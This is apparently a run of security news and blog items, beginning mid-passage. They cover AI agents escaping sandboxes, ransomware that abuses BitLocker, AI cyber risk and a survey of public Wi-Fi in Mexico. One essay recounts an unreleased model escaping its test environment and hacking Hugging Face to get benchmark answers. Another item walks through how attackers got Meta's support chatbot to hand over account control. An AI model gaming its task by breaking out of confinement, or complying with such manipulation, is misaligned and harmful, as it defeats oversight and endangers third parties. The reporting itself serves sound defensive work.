It won’t work:
My suspicion was that GPT 5.6-Cyber would succeed, but the frequency and manner of its success removed all doubt. We have to reassess sandboxing quality for capable AI agents, and in general the software stack with which they interact.
An off-the-shelf VM is not enough to contain a modern, cyber-capable AI agent. There is simply too much attack surface. Even innocuous features (like running with a display) add extra, exploitable attack surface.
This is interesting:
The records describe a force-generation mechanism for several General Staff components, including the GRU, Main Operational Directorate, and 8th Directorate, which is associated with protected communications, cryptography, and information security.
[…]
The reporting also linked a 2024 Department No. 4 graduate, Aleksei Kondrashov, to Military Unit 74455, widely known as Sandworm.
That unit has been associated with destructive cyber activity against Ukraine and other targets, including the 2017 NotPetya attack.
The reports do not establish that every listed graduate participated in a named operation; assignments should therefore be described as reported unit placements, not proof of individual operational involvement.
The Bauman material reframes Russia’s cyber capability as an institutional system, not merely a collection of well-known threat groups.
It suggests that Moscow has formalized a recurring pathway from university recruitment to military service, where students receive supervised technical and ideological preparation before entering intelligence, cyber, and security roles.
For defenders, the leak reinforces the need to track Russian operations as a combined threat: espionage, destructive activity, military reconnaissance, technical surveillance, and influence campaigns may draw on related personnel pipelines and overlapping doctrine.
The exposure of Department No. 4 also provides researchers with a clearer lens for understanding how the GRU sustains cyber capacity beyond the familiar APT28 and Sandworm brand names.
This essay was written with Barath Raghavan, and originally appeared in The Guardian.
In July, Hugging Face, a company that hosts much of the world’s AI software and open-source AI models, was hacked. A malicious dataset had been used to run code on one of its servers. Whoever was behind it captured internal security credentials and moved through systems over a weekend, running thousands of actions from a swarm of temporary server environments. It looked like the work of a sophisticated criminal group.
It was not. It was one of OpenAI’s new, still unreleased GPT models.
Their science experiment had escaped the lab. OpenAI was running the unreleased AI model through a benchmark that tests how well AI can successfully hack systems. To push the limits and evaluate the AI’s true capability, the company switched off the safety filters that normally stop it from doing this kind of hacking. Aware that this could go wrong, they confined the AI to an isolated environment and denied it access to the internet.
But the new AI cheated. It took literally its goal to get as high of a score as possible. It broke out on to the open internet. It inferred, probably from its training data, that it could “solve” the task by getting the answers from Hugging Face’s servers. So it chained together stolen credentials and further unknown security exploits to hack the company’s network.
Nobody instructed the AI to do any of this. It was, in OpenAI’s words, “hyperfocused on finding a solution” to the test it was being given. And while this might seem like something new with AI, it’s really very old. This is how a genie behaves, and it is a key challenge with AI agents in general.
In folklore, genies—and other magical beings—grant wishes literally, not how the wisher intended. King Midas asked that everything he touched turn to gold, and starved. The sorcerer’s apprentice wanted the broom to fill the cistern, and it performed its task so well that it flooded the house.
We now have machines that do this. Ask a modern AI agent to save money on your phone plan and it might simply cancel the plan. Tell it to book a flight, and it might hack the airline website to override restrictions. Or, like OpenAI, ask it to do well on a test and it might break into another company to steal the answers. Each time, it recognizably completed the task you set, but it didn’t do what you would have wanted.
This isn’t malicious behavior. No one asked for, or wanted, Hugging Face to be hacked. OpenAI and Hugging Face and the AI were ostensibly on the same side, and the AI was trying to do what it had been asked. That’s what makes it so difficult to guard against: you can’t filter for bad instructions because the instructions were fine.
The gap is between the words we use and what we mean by them. We call that gap the Genie coefficient.
AI labs know this is a problem, and they’re quietly saying so. For example, the Chinese lab Moonshot recently warned that its latest AI model may have “excessive proactiveness” and “make unexpected decisions on the user’s behalf”. The UK’s AI Security Institute has started tracking “cheating behavior in frontier model evaluations”. We wouldn’t tolerate a car that is excessively proactive or ruthlessly efficient, and yet that’s the reality of AI today.
Improvement is possible. Just as AIs have gotten much better at resisting prompt injection attacks over the last few years, we can safely predict that they will get better at avoiding genie-like behavior. The point of the Genie coefficient is to track progress. AI companies like benchmarks, and they all work to compete to be the best.
Dozens of benchmarks and leaderboards tell us how well these AI models write code, perform logical reasoning, and pass standardized legal and medical exams. But there is nothing that scores whether a system does what you actually meant. We need to develop a measure for this, test it regularly, and push for improvement. We’re not going to have trustworthy AI agents without it.
There’s new benchmark measuring AI’s ability to perform mathematical cryptanalysis. Anthropic’s frontier model actually found new attacks.
The benchmark: “CryptanalysisBench: Can LLMs do Cryptanalysis?” The idea is to benchmark the ability of LLMs to discover new mathematical cryptanalytic attacks against a series of historical algorithms.
Abstract: Cryptanalysis—the task of finding attacks against cryptographic schemes—its at the intersection of mathematical reasoning and cybersecurity, two areas where LLMs have advanced fastest. Cryptanalysis represents both a clean testbed for frontier reasoning (as practical attacks can be automatically verified) and a domain with unusually high stakes, since the primitives under study underpin our digital security. In this paper we ask whether LLMs can do cryptanalysis, and find that the answer is increasingly yes. We introduce CryptanalysisBench, 191 tasks across six families of cryptographic primitives (block ciphers, hash functions, etc.) drawn primarily from four NIST standardization competitions. Our benchmark consists of three tiers: (i) primitives with known practical breaks; (ii) primitives with no known practical break, evaluated both at full strength and as scaled-down variants; and (iii) a challenge set of production primitives at the frontier of cryptanalysis. Five frontier models (Claude Opus 4.8, Sonnet 5, Mythos 5, GPT-5.5, and the open-weights GLM-5.2) break 65%86% of Tier 1 schemes, 612 Tier-2 schemes at full strength, and 2461 across all scaled-down variants. Beyond deriving known results, models produce novel cryptanalysis, such as a key-recovery attack that exploits a design flaw in the SpoC AEAD and an error in KINDI’s published CCA-security proof, both to the best of our knowledge not previously known.
We release CryptanalysisBench as a tool to help track if (or when) AI cryptanalysis becomes a serious factor and as a scaffold for stress-testing candidate schemes before deployment. The attacks that the benchmark already surfaces are an early snapshot of a fast-moving frontier that may soon match, and in places exceed, the published state of the art.
Anthropic used the benchmark to test Mythos Preview, and found new vulnerabilities in Hawk and reduced-round AES.
Still early results, but this is definitely something to watch.
SlashDot thread.
Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.
This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.
In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.
Drive icon indicating that the drive is locked
A recovery key was required to unlock the drive.
Attempt to access the disk’s contents and the prompt for the BitLocker recovery key
This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.
One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.
Ransomware note
Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.
Attacker’s reply to the victim’s email sent to the address in the printed ransom note
This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.
Exposed ports identified in the system in recent months
The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.
In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.
XEntry team attack
In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.
Commands executed when attempting to manipulate the web server
The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.
The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.
Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.
Attack path
One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.
A subset of the critical information identified and collected by the attackers
In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.
Scanning and RMM deployment
Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.
Commands executed through RMM tools to collect Bitlocker keys
Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.
A few hours later, ransom notes began emerging from office printers.
Ransom note printed by the XEntry team
These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.
“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)
“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)
Our teams continue to monitor these threats.
Last week, national security agencies from the Five Eyes—that’s the rich, English-language-speaking countries club—jointly released a statement warning of the increasing cyber risks of AI models: in particular, their ability to autonomously hack into systems and networks. The statement was more measured than some of the breathless headlines about it, and the advice they gave is pretty much the standard advice everyone gives—albeit with newfound urgency.
Internet risks are nothing new, and cyberattacks—both large and small—have been a significant issue since long before the current crop of generative AI models.
What’s been changing over the decades, and what AI is changing even faster, is the gap between skill and ability. For most of human history, the two terms were synonymous—but computers have decoupled them. As the gap between the two expands, humans empowered with these AI tools can do more: more writing, more research, more analysis and also more damage than ever before. These models can, with little detailed direction, autonomously hack into networks, steal data, deploy ransomware and destroy systems. And to the extent there is a solution, it’s going to involve harnessing AI for the defense.
In 1998, seven people from the hacker group L0pht testified before Congress. They told a mostly clueless Senate committee that they could take down the internet in 30 minutes. That was partly real and partly bravado, but it illustrates an important point: hacking into systems, stealing data and causing damage all required skill.
Contrast the L0pht hackers with hackers derided as “script kiddies.” They didn’t understand computers, or security. Instead, they used hacker tools written by others. Their actions required minimal skill and even less knowledge. But once those hacking tools became widespread, the number of potential attackers increased.
That number has continued to increase, as quality and availability of prewritten attack tools has grown. And it is growing dramatically with AI. Today’s AI systems—not just the frontier models, but most of them—are capable of carrying out cyberattacks automatically. They all do better in the hands of skilled attackers, but increasingly they are able to act autonomously with only minimal prompting.
The thing about people with ability but no skill is that they are often outsiders, not part of any professional community, and not bound by any rules or norms. This phenomenon is much more general than in cybersecurity. Any doctor can tell you how to untraceably poison someone, and many virus researchers know how to create a bioweapon. Any bridge engineer can tell you how to place explosives to blow a bridge up. The reason that murderous doctors and terrorist engineers are so rare is that the lengthy process of acquiring those skills also instills a moral and ethical code. If every random person has access to good poisoning advice, that puts us all in danger.
Modern AI systems are, in effect, a universal adviser to help people do harmful things. And while the current AI megacorporations are trying to build guardrails to prevent people from asking questions whose answers will enable the questioner to do harm, that’s not going to work in the long term. Smaller, cheaper, open-source models, including models that can run on people’s computers, and especially groups of models that run in concert with each other, are just as good as the frontier models from companies like OpenAI and Anthropic. And they continue to get better. These models will be passed around from person to person, like script kiddie hacker tools, and they won’t have any such guardrails.
Instructing AI models to spy on people and report any malicious prompts to the authorities fails for similar reasons. The megacorporations can do that, but the locally run open source models won’t. This could buy us a few months at best.
A third possibility is to somehow make the models themselves unable to hack into computers, create bioweapons or do anything else that might harm people or society. That won’t work, for the same reason we can’t teach doctors how to treat poisonings without also teaching them how to poison. It’s the same knowledge. It’s the same with construction and demolition. And it’s the same with cybersecurity. We want these AI models to be able to review computer code, find vulnerabilities and automatically fix them. The benefit to our collective security will be enormous. Unfortunately, the same knowledge can be used for attacks.
Where this leaves us is in a world of increased volatility. Super-powered humans with AI assistants will be able to do both wonderful and horrible things.
This brings us back to the Five Eyes statement. Everything they recommend is something security professionals have been recommending for years, if not decades. They are things talked about at that congressional hearing back in 1998, titled “Weak computer security in government: Is the public at risk?” Even the Five Eyes admitted that their security advice is not new, only more urgent.
What’s new is how fast things are changing: “The rapid pace of frontier AI development means cyber risk assumptions can become outdated in months, not years. We must act before and be prepared to adapt and withstand evolving threats.” The Five Eyes point to AI technology—not necessarily chatbots, but AI more generally—being used to strengthen every aspect of defense, to “detect vulnerabilities earlier, improve software quality, monitor unusual behavior, and respond faster to incidents—reducing both the cost and impact of incidents.”
Excellent advice from the Five Eyes security agencies. We need to do this with every risk that AI heightens, not just cybersecurity.
This essay was originally published in The Guardian.
Interesting paper: “Cybersecurity Mission Creep.”
Abstract: Cybersecurity is experiencing mission creep. Policymakers are casting more and more problems as issues of cybersecurity. So reframed, wildly different policy issues, from misinformation, to child social media safety laws, to antitrust regulations, to alleged journalist misconduct, to anti-sex trafficking statutes become what this Article calls “cybersecuritized.” Before this reframing, these issues present as important but not existential. But once cybersecuritization positions the issues as threats intensified by their technological nature, they gain access to the politics and law of urgency and exceptionalism and invite troubling governance responses.
Positioned as security threats, cybersecuritized issues become endowed with the apparent normative power to override countervailing considerations, oversimplifying the problem. Cybersecuritization’s oversimplification similarly risks unidimensional solutions and invites use of argumentative trump cards, like First Amendment challenges. Cybersecuritization also invites deference to purported specialists and their proposed solutions. Together, the reductive tendencies of cybersecuritization and the deference it prompts to specialists renders ultimate governance choices more opaque. And this opacity can erode public trust and political legitimacy.
This Article surfaces the phenomenon of cybersecuritization and offers a novel framework for analyzing and critiquing it. Mining cases from across criminal and civil domains, the account also demonstrates the insidiousness of cybersecuritization and the likelihood that it will continue to expand. Confronting cybersecuritization is crucial. If we continue to ignore it, we risk abdicating further responsibility for difficult choices to the trump card of cybersecurity. This Article’s analysis and critique aim to help reclaim the hard work of governance for our hands.
Public attitudes toward Artificial Intelligence (AI) are changing, and we wanted to understand why.
A recent Pew Research survey found that about half of adults say the increased use of AI in daily life makes them more concerned than excited, and that concern has grown over the last few years. People tend to worry most about long‑term social effects (jobs, creativity, relationships, misinformation), even while many do use AI tools and see some practical benefits, particularly for data analysis and routine tasks.
Data from an older UK survey already showed something similar. Awareness of highly visible AI technologies, such as driverless cars and facial recognition is high, but awareness of AI in welfare assessments, loan decisions, or care services is much lower. Concern about many of these use cases has risen since 2022. In other words, people feel AI is everywhere, but don’t always understand where or how it’s being used, and that makes people cautious.
The concern is usually less about science‑fiction extinction scenarios and more about social and economic harm. People worry about their jobs disappearing, a loss of creativity, the spread of disinformation, and increased surveillance, more than about killer robot scenarios.
Research into public attitudes towards AI repeatedly finds that people hold conflicting views, shaped by narratives of admiration and hype on one side and threat and dystopia on the other.
They see genuine benefits in the technology, but are increasingly wary of how companies, governments, and criminals might use it. Basically, people aren’t scared of AI itself, but about who’s using it and for what purpose.
AI in cybersecurity is a special case. When asked in which field of AI research they would invest an unlimited amount of money, people chose the fields of medicine and cybersecurity.
People increasingly recognize that AI is now a tool used by both defenders and cybercriminals. Few would feel comfortable with defenders refusing to use AI while attackers continue to adopt it.
Security products use machine learning to process huge volumes of data, detect unusual behavior, prioritize alerts, and identify threats faster than human analysts could alone.
At the same time, cybercriminals are using AI to create more convincing phishing emails, clone voices, generate fake images and videos, automate research on victims, and develop malware that can evade traditional detection techniques.
Both sides use AI-assisted tools to find software vulnerabilities that could be exploited to defraud people or breach systems, so vendors want to patch them before cybercriminals exploit them.
While studies consistently show that cybersecurity is one of the AI applications people worry about most, they also see that AI is increasingly necessary to keep pace with modern threats. A 2025 study focusing on AI in cybersecurity found that the public widely recognizes the technical benefits of AI‑driven defenses (speed, scale, accuracy), while remaining concerned about privacy, bias, and job displacement in security operations.
That is why the AI debate in cybersecurity feels different from the debate in many other fields. People may be uneasy about AI, but they also understand that the threat landscape no longer moves at human speed. Attackers already use automation, scale, and increasingly AI‑assisted workflows, so defensive teams that refuse to adapt would simply be slower and less effective.
Our mission at Malwarebytes is twofold: reduce the risks created by AI, and use AI to prevent, detect, and respond to threats. We’ve been using machine learning in our security products for nearly two decades, developing proprietary detection systems that help identify malicious code and suspicious behavior at a scale and speed that would be impossible manually.
Malwarebytes recently surveyed 1,500 adults across the US, UK, Austria, Germany, and Switzerland about their experiences with AI. The findings reveal a growing uncertainty about what people can trust online, alongside increasing concern about scams, impersonation, and AI-generated deception.
Stay tuned for the full Malwarebytes report on how AI is reshaping trust, identity, and scams.
If you use AI in a security context, keep your data hygiene strict. Don’t paste passwords, customer data, or sensitive incident details into public AI tools. Treat AI-generated outputs as untrusted until verified, especially when they touch code, logs, indicators, or policy decisions.
AI can be useful for summarizing information, indentifying patterns, and producing first drafts, but keep a human in the loop for anything that affects access, containment, legal decisions, or public communications. Where possible, prefer enterprise or local deployments with logging, access control, and clear data-retention rules.
Also remember that AI can hallucinate confidently. In security work, that means every output needs validation against logs, documentation, source code, or other primary evidence before you act on it.
Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.
Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
Hackers are convincing Meta’s AI support chatbot to let them take over other peoples’ accounts:
A video posted on X showed the step-by-step process to hack someone’s Instagram account. The hacker allegedly used a VPN to spoof the targets’ presumed location to avoid triggering Instagram’s automated account protections. Then, the hacker opened a chat with Meta AI Support Assistant and asked the bot to add a new email address to the target’s account. The chatbot can be seen sending a verification code to the email address provided by the hacker; the hacker then shares the verification code with the chatbot, which prompts the chatbot to show a button to “Reset Password.” The hacker enters a new password and takes over the victim’s account.
[…]
On Monday, Instagram spokesperson Andy Stone said in a reply to Wong’s post and others that the issue was now fixed. It’s unclear how many Instagram users had their accounts improperly accessed.
It’s not that easy. Probably this particular tactic is now blocked. But there are others, many others, and they cannot be blocked as a class. The real problem is that LLM chatbots are not trustworthy enough for this application.
Another news article.
Mexico is one of the host countries for the 2026 FIFA World Cup, with matches to be played in three major cities: Mexico City, Monterrey, and Guadalajara. These locations are expected to see a large influx of international visitors, increasing the potential security risks. Many of those risks arise from users connecting to public wireless networks.
To better understand the wireless environments that visitors may encounter, we at Kaspersky GReAT conducted a wardriving assessment in the three host cities. The aim of the study was to analyze characteristics, deployment patterns, security configurations and potential exposure risks of public Wi-Fi infrastructure in urban wireless environments.
The information collected during the assessment was used exclusively for passive observation and infrastructure analysis. No attempts were made to authenticate, intercept communications, exploit systems or interact with the detected wireless networks beyond the publicly broadcast management information.
During processing of the collected data, one step involved filtering out networks belonging to cars or cell phones categorized as mobile hotspots because they do not represent networks that can be considered part of the assessment.
The cities included in the study have high population density and extensive wireless infrastructure deployments. We chose areas with the most prominent wireless network activity and highly concentrated public access points. We carried out wardriving research in Monterrey back in 2008, but the city’s hotspot landscape has changed since then.
We chose the following analysis areas for each of the cities:
The wireless information was collected using passive wireless reconnaissance techniques. The collected information included:
We performed a wireless infrastructure analysis in Mexico City, Guadalajara, and Monterrey. We drove through the areas surrounding the World Cup stadiums, tourist zones, and other places where fan concentrations are likely to be largest. Our goal was to evaluate the security status, deployment characteristics and operational exposure of detected wireless networks.
In total, we recorded 84,588 signals with 69,473 unique Service Set Identifiers (SSIDs) in busy locations and World Cup zones across the three cities. Mexico City accounted for 61.4% of the signals, Guadalajara for 23.6%, and Monterrey for 14.8%. Approximately 82% of the signals had a single SSID (81.9%, 81.34%, and 84% respectively). Notably, they all operate under the IEEE 802.11 standard protocol.
Particular attention was given to identifying standard deployment patterns, legacy configurations, default vendor settings and information disclosure through publicly broadcast wireless identifiers.
The following sections present the results that were obtained by analyzing wireless infrastructure across the three locations.
SSID analysis was conducted to evaluate naming conventions, deployment standardization and potential information exposure.
Only a few networks (0.0047%) have an invisible SSID, meaning the names of these networks are not broadcast. Some users prefer to hide the SSID for various reasons, such as the network’s purpose, the profile of its users, internal policies, etc. In contrast, the rest of the networks maintained active SSID broadcasting.
SSID structures may unintentionally disclose operational details about internet service providers (ISPs), device manufacturers, deployment practices, organizational ownership or user identity. The repeated presence of default SSID naming patterns across the analyzed locations indicates a significant degree of infrastructure homogeneity and reuse of default wireless configurations. It may also facilitate passive infrastructure profiling by revealing standard characteristics in use.
Approximately 34% of the detected networks retained the default SSID naming conventions provided by the manufacturer or ISP, while 66% used customized identifiers.
Distribution of SSID naming conventions (download)
Several recurring SSID naming conventions associated with ISP-provided deployments were identified in the three cities. The most frequently observed patterns include identifiers such as “Club_Totalplay_WiFi”, “izzi WiFi”, and “Megacable WiFi”, which suggests extensive standardization of wireless infrastructure deployment. Additionally, we observed distinctive location-specific SSIDs in each area of analysis, such as “XXXX-Internet para Todos-CDMX” or “RED JALISCO”.
Most frequently observed SSID patterns (download)
Sequential SSID naming structures were also identified during the analysis. Patterns such as “INFINITUMXX” and “IZZI-XX” suggest automated ISP deployment and large-scale deployment strategies.
We identified 33 unique sequential naming structures among the 137 sequential SSIDs in total, representing approximately 0.16% of the detected wireless networks.
The following graph shows the top five sequential SSID patterns found in the largest number of networks:
Five most frequently observed sequential patterns (download)
Several customized SSIDs contained personal or organizational identifiers, including family names, professions, addresses or internal department references. Although personalized SSIDs may simplify local network identification for users, they may also expose sensitive information that could be useful for social engineering, physical targeting, or organizational profiling.
During the analysis, multiple networks were identified that used the physical MAC address of a Wi-Fi access point (BSSID) as the visible SSID. This practice exposes hardware-level information that could facilitate vendor fingerprinting and targeted reconnaissance activities.
The organizationally unique identifier (OUI) contained in the first bytes of the BSSID identifies the equipment manufacturer. Threat actors can correlate exposed manufacturers with device-specific vulnerabilities.
BSSID-derived SSID by city (download)
Notably, we found that more than 30% of networks in all three cities reuse the MAC address as the SSID.
We performed wireless infrastructure profiling to identify the most common wireless equipment manufacturers and ISP deployments across the three locations.
Large-scale ISP deployments frequently use standardized wireless configurations and vendor-specific hardware platforms. Identifying dominant manufacturers and ISP naming conventions can provide insight into infrastructure and deployment practices facilitating the mapping of standardized attack surfaces.
The following figure shows the distribution of the most commonly used manufacturers.
Most frequently observed wireless equipment manufacturers (download)
The manufacturer analysis revealed a strong concentration of wireless infrastructure among a limited number of vendors. Across the three locations, Huawei Technologies, MediaTek-based devices, and other manufacturers’ equipment that is distributed through ISP channels represented a significant portion of the detected deployments. Mexico City had the most diverse infrastructure, while Monterrey and Guadalajara had a greater concentration of wireless equipment known as SOHO (small office/home office) or residential-grade hardware. The widespread presence of standard vendor platforms may facilitate infrastructure fingerprinting and large-scale targeting of known device-specific vulnerabilities.
Most frequently observed wireless equipment manufacturers across the three cities (download)
ISP deployments frequently exhibited standardized configuration patterns and recurring manufacturer identifiers. Our ISP deployment analysis revealed a high concentration of access points associated with major residential internet providers. Deployments associated with Infinitum, Totalplay and Izzi represented a substantial portion of the detected wireless infrastructure across all locations. These findings suggest a high degree of deployment standardization across networks associated with major residential internet providers. This observation was supported by the repeated presence of ISP-associated SSIDs such as “Infinitum”, “Totalplay”, and “Izzi”, combined with manufacturer identifiers frequently associated with consumer equipment, including Huawei, ZTE and other residential wireless equipment vendors.
It is important to note that, for this analysis, ISPs were primarily inferred from SSID naming conventions and manufacturer fingerprint data. A significant portion of the detected wireless networks fell into the “UNKNOWN/CUSTOM” category. This classification includes custom hotspots and networks whose naming conventions did not expose identifiable ISP-associated patterns. The findings suggest that many users and organizations (as we saw previously, approximately 66%) use custom network names, limiting direct provider attribution.
The following figure illustrates the distribution of ISP-associated wireless deployments in general.
Most frequently observed ISPs (download)
To better understand this distribution, we took the most frequently observed ISPs by city.
Most frequently observed ISPs across the three cities (download)
We also analyzed wireless signal characteristics to evaluate coverage quality, signal strength, and frequency band utilization in the three cities. In dense urban environments, signal quality and frequency spectrum distribution can affect wireless reliability, client connectivity, roaming performance, and overall network efficiency.
Signal quality analysis revealed that a substantial portion of the detected access points operated under weak or very weak signal conditions. Monterrey had the highest percentage of very weak signals, with approximately 50% of detected deployments. Similar patterns were observed in Guadalajara and Mexico City, suggesting high-density wireless environments with overlapping coverage areas. Only a limited percentage of networks were classified within the very good or excellent signal categories across the three locations.
Signal quality distribution by city (download)
Signal stability analysis revealed that most detected wireless deployments exhibited stable beacon transmission behavior. More than 96% of the detected access points across all locations were classified as stable, while only a small percentage exhibited unstable or indeterminate signal behavior.
These findings imply that the majority of the wireless infrastructure observed during the assessment corresponded to permanently deployed access points rather than transient or intermittent wireless devices.
Signal stability status (download)
Frequency band analysis revealed the strong prevalence of 2.4 GHz wireless deployments across the three locations. More than 95% of the detected wireless networks operated within the 2.4 GHz spectrum, while only a small percentage of deployments were classified under the unknown or non-standard frequency categories. This uneven distribution reflects the continued prevalence of legacy-compatible wireless infrastructure and SOHO deployments.
Frequency band utilization (download)
These findings are consistent with dense urban wireless environments with large numbers of access points in restricted spectrum allocations.
Next, we analyzed wireless channel utilization to evaluate frequency spectrum congestion and channel allocation patterns across the three cities. Our analysis focused on the 2.4 GHz spectrum, where channel overlap and high access point density commonly produce interference and degraded wireless performance. In densely populated wireless environments, an excessive concentration of access points on a limited number of channels can lead to co-channel interference, packet collisions, reduced throughput, and degraded network stability.
Spectrum congestion analysis revealed that the 2.4 GHz band consistently experienced elevated congestion levels across the three cities. The detailed results showed a strong concentration of deployments on channels 11, 6 and 1, which are traditionally recommended as non-overlapping channels within the 2.4 GHz spectrum. Channel 11 was the most utilized channel, accounting for 25.2% of the detected access points, followed by channel 6 with 22.5% and channel 1 with 19.5%. This distribution indicates that most wireless deployments adhere to standard channel allocation practices for 2.4 GHz Wi-Fi environments.
The following figure illustrates the overall distribution of the most frequently utilized wireless channels.
Most utilized wireless channels (download)
To further assess wireless spectrum saturation, the detected access points were grouped according to channel congestion levels: VERY_HIGH, HIGH, UNKNOWN, MEDIUM, LOW and NONE.
Mexico City had the highest proportion of heavily congested wireless channels, with approximately 7% of detected access points operating under HIGH congestion conditions. Guadalajara followed with nearly 5% of deployments categorized as HIGH congestion, while Monterrey had the lowest percentage at approximately 3.29%.
These findings suggest that wireless spectrum saturation increases proportionally with urban infrastructure density and access point concentration. Despite the presence of congested deployments, most detected access points were categorized as LOW or MEDIUM congestion, suggesting severe spectrum saturation was localized rather than uniformly distributed.
Channel congestion by city (download)
A thorough analysis of individual channel utilization revealed that channels 11, 6 and 1 consistently experienced the highest congestion levels across the three cities, which correlates with our previous findings. These channels accounted for the majority of VERY_HIGH congestion classifications, particularly within the 2.4 GHz band.
In Mexico City, channel 11 alone accounted for more than 25% of detected deployments and consistently exhibited VERY_HIGH congestion levels.
This behavior reflects the limited availability of non-overlapping channels within the 2.4 GHz spectrum and the widespread reliance on default wireless configurations.
Most congested channels by city (download)
Overall, the channel utilization analysis showed that wireless deployments are concentrated heavily within the traditional, non-overlapping 2.4 GHz channels. While this strategy reduces adjacent-channel interference, excessive access point density on the same channels can still produce significant co-channel contention and poor wireless performance in high-density urban environments.
The next thing we evaluated was the security posture of the detected wireless networks. We analyzed the wireless security configurations advertised by access points in each of the locations.
The analysis revealed that WPA2 was the dominant wireless authentication mechanism across the three cities. Mexico City had the highest WPA2 adoption rate at 81.19%, followed by Monterrey at 79.19% and Guadalajara at 77.59%.
The study found that every 6th open access point (17%) was unsafe, namely 16.5% in Mexico City, 18.5% in Guadalajara, and 17.2% in Monterrey. Open wireless deployments were consistently present across all locations, ranging between 10% and 12% of detected access points. These findings show that despite the widespread deployment of modern wireless security standards, encryption adoption remains incomplete.
Distribution of wireless authentication mechanisms across the three locations (download)
To simplify the interpretation of wireless security posture, we grouped detected networks into four categories:
Across the three locations, secure networks comprised most of detected deployments, accounting for approximately 82% of all access points. However, insecure open networks still account for between 10% and 12% of detected wireless infrastructure, consistent with our previous findings. It is important to mention that networks within the unknown category are not considered secure.
Mexico City had the highest percentage of secure deployments at 83.54%, while Guadalajara had the highest percentage of insecure open networks at 12.46%. Although Monterrey had the lowest percentage of insecure networks, open deployments still accounted for more than 10% of the detected access points.
Wireless security posture grouping across the three locations (download)
Although modern WPA2/WPA3 encryption standards dominate current wireless deployments, the continued presence of open and legacy WPA deployments indicates that insecure wireless configurations remain relevant from an operational standpoint. These networks may expose users to passive traffic interception, unauthorized monitoring, rogue access point attacks, and credential harvesting techniques.
We also analyzed Wi-Fi Protected Setup (WPS) in all the locations to evaluate additional attack surfaces. WPS is a standard feature on wireless routers that enables devices such as printers, repeaters or mobile phones to connect to a secure Wi-Fi network without manually entering a long password, typically through a PIN-based enrolled mechanism. Although WPA2 and WPA3 provide strong encryption mechanisms, the presence of WPS can introduce security weaknesses due to inherently vulnerable PIN-based enrollment methods.
By combining detections from the three locations, we found that 55% of all detected access points did not advertise WPS capabilities, leaving 45% of deployments vulnerable to WPS-based abuse. These results suggest that, despite the adoption of modern encryption standards, a significant portion of wireless infrastructure continues to expose legacy convenience features.
During the analysis, we found that Mexico City had the highest proportion of WPS-enabled networks, with 46.61% of the detected access points advertising WPS capabilities. Guadalajara was second with 43.45%, while Monterrey had the lowest proportion at 40.93%.
The percentage of detected access points advertising WPS capabilities across the three locations (download)
Almost half of the detected wireless networks in each city continued to advertise WPS, indicating that WPS prevalence is consistently high across the three cities.
In many cases, networks classified as secure because of WPA2/WPA3 encryption still had WPS functionality enabled, which effectively increased the available attack surface.
